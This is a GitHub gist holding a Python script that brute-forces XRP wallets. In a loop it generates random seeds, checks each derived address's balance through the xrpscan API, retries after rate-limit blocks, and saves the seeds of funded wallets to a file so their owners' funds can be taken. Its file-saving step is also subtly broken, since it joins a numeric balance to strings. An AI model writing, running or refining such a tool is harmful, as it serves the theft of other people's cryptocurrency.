Last active
June 10, 2023 22:34
-
-
Save LongWayHomie/7679b001043fd12a2b08cce30588a9d4 to your computer and use it in GitHub Desktop.
XRP Wallet Brute-Force (with online balance check)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from xrpl import wallet | |
| from xrpl.core import keypairs | |
| from xrpl.clients import JsonRpcClient | |
| from xrpl.account import get_account_info | |
| from xrpl.account.main import get_balance | |
| import requests | |
| import time | |
| import os | |
| def create_wallet(): | |
| """ | |
| Generates a keypair | |
| """ | |
| seed = keypairs.generate_seed() | |
| pub, priv = keypairs.derive_keypair(seed) | |
| address = keypairs.derive_classic_address(pub) | |
| return address, seed | |
| def filesave(address, seed, xrp_balance): | |
| filepath = "/root/xrp/found.txt" | |
| with open(filepath, "a") as file: | |
| file.write(address + "\n"+ seed + "\n" + xrp_balance +"\n\n\n") | |
| return "Saved!" | |
| def check_balance(address, seed): | |
| url = f"https://api.xrpscan.com/api/v1/account/{address}" | |
| response = requests.get(url) | |
| if response.status_code == 200: | |
| data = response.json() | |
| if "error" in data and data["error"]["error"] == "actNotFound": | |
| print(f"[*] Wallet Address: {address} | Seed: {seed} | Balance: 0 XRP") | |
| return 0 | |
| else: | |
| xrp_balance = float(data["xrpBalance"]) | |
| print(f"[*] Wallet Address: {address} | Seed: {seed} | Balance: {xrp_balance}") | |
| filesave(address, seed, xrp_balance) | |
| return xrp_balance | |
| else: | |
| print(f"Error: {response.status_code}") | |
| return None | |
| while True: | |
| _pub, _seed = create_wallet() | |
| balance = check_balance(_pub, _seed) | |
| time.sleep(1) | |
| if balance is None: | |
| print("[!] ERROR. Looks like we have been blocked! Sleeping for 10 sec...") | |
| time.sleep(10) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment